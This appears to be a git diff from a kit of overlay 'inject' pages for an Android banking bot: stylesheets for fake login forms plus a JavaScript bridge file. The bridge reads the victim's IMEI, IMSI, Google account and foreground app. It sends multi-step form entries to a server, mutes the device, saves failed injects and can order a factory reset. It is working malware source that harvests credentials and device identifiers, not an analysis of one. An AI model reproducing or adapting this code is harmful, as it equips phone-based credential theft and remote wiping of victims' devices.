cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 8.2 KiB |
|
After Width: | Height: | Size: 2.5 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,216 @@
|
||||
|
||||
.container {
|
||||
overflow: hidden;
|
||||
}
|
||||
.row {
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_04{
|
||||
background: #FFFFFF;
|
||||
}
|
||||
.form_header {
|
||||
background: #FFFFFF;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width:100%;
|
||||
top:0;
|
||||
left:0;
|
||||
padding: 5px;
|
||||
border-bottom: solid 1px #000;
|
||||
}
|
||||
.container {padding-top:86px;}
|
||||
.form_header:after{
|
||||
display: none;
|
||||
position: absolute;
|
||||
bottom: -17px;
|
||||
z-index: -1;
|
||||
left: 50%;
|
||||
margin-left: -204px;
|
||||
max-width: 100%;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #FFFFFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 200px;
|
||||
height: 23px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.main_inpute{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 150px;
|
||||
height: 20px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 15px;
|
||||
width: 20%;
|
||||
}
|
||||
.input_block_wr {
|
||||
overflow: hidden;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.login_btn {
|
||||
width: 123px;
|
||||
height: 44px;
|
||||
background-color: #B757B1;
|
||||
|
||||
|
||||
border: none;
|
||||
outline:none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
.content{
|
||||
padding: 15px 10px;
|
||||
background-color:#263573;
|
||||
|
||||
border: 1px solid #D3D3D3;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
|
||||
|
||||
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_input {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_input {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_input {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_inpute {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_inpute {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_inpute {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
|
||||
@media screen and (max-height: 360px){
|
||||
.form_header {
|
||||
padding: 5px;
|
||||
height: 60px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.container {padding-top:50px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
}
|
||||
@media screen and (max-width: 200px) and (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 20px;
|
||||
}
|
||||
.container {padding-top:24px;}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 2px;
|
||||
}
|
||||
.main_input{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 3px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 4px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login_btn{
|
||||
font-size: 10px;
|
||||
height: 19px;
|
||||
line-height: 10px;
|
||||
width: 70px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
